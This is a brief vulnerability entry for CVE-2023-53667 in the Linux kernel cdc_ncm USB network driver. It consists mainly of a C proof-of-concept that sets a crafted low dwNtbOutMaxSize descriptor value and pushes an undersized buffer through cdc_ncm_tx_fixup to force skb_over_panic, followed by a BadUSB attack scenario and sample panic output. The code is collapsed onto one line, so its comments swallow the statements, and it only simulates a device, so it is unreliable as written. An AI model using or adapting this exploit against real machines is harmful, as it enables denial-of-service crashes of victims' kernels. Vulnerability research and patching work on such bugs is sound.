Linux内核cdc_ncm驱动dwNtbOutMaxSize值过低导致内核崩溃漏洞

// CVE-2023-53667 PoC - Trigger kernel panic via malicious USB CDC NCM device // This PoC simulates a malicious USB device that advertises an extremely low // dwNtbOutMaxSize value to trigger skb_over_panic in cdc_ncm_fill_tx_frame() #include <linux/usb.h> #include <linux/module.h> // Malicious USB CDC NCM device descriptor with crafted dwNtbOutMaxSize static struct usb_cdc_ncm_desc ncm_desc = { .dwNtbOutMaxSize = 64, // Abnormally low value, below USB_CDC_NCM_NTB_MIN_OUT_SIZE .dwNtbInMaxSize = 16384, .wNcmMuxed = 0, .wNtbOutDivisor = 1, .wNtbOutRemainder = 0, }; // Trigger function - simulates network transmission to trigger the bug static int trigger_cdc_ncm_panic(struct usbnet *dev) { struct sk_buff *skb; int ret; // Allocate SKB with the maliciously small size skb = alloc_skb(ncm_desc.dwNtbOutMaxSize, GFP_ATOMIC); if (!skb) return -ENOMEM; // Fill TX frame - this will call cdc_ncm_fill_tx_frame() // which internally calls cdc_ncm_ndp16() -> skb_put_zero() // triggering skb_over_panic due to insufficient buffer space ret = cdc_ncm_tx_fixup(dev, skb, GFP_ATOMIC); return ret; } // Attack scenario: // 1. Attacker connects a malicious USB CDC NCM device (e.g., BadUSB) // 2. Device advertises dwNtbOutMaxSize = 64 (below minimum threshold) // 3. When kernel tries to transmit data, alloc_skb(64) is called // 4. After alignment, actual usable space is insufficient for CDC headers + data // 5. skb_put_zero() writes beyond buffer bounds -> skb_over_panic -> kernel BUG // // Kernel panic output: // skbuff: skb_over_panic: text:ffffffff831f755b len:184 put:172 // head:ffff88811f1c6c00 data:ffff88811f1c6c00 tail:0xb8 end:0x80 // kernel BUG at net/core/skbuff.c:113! // RIP: skb_over_panic+0x14c/0x150 net/core/skbuff.c:118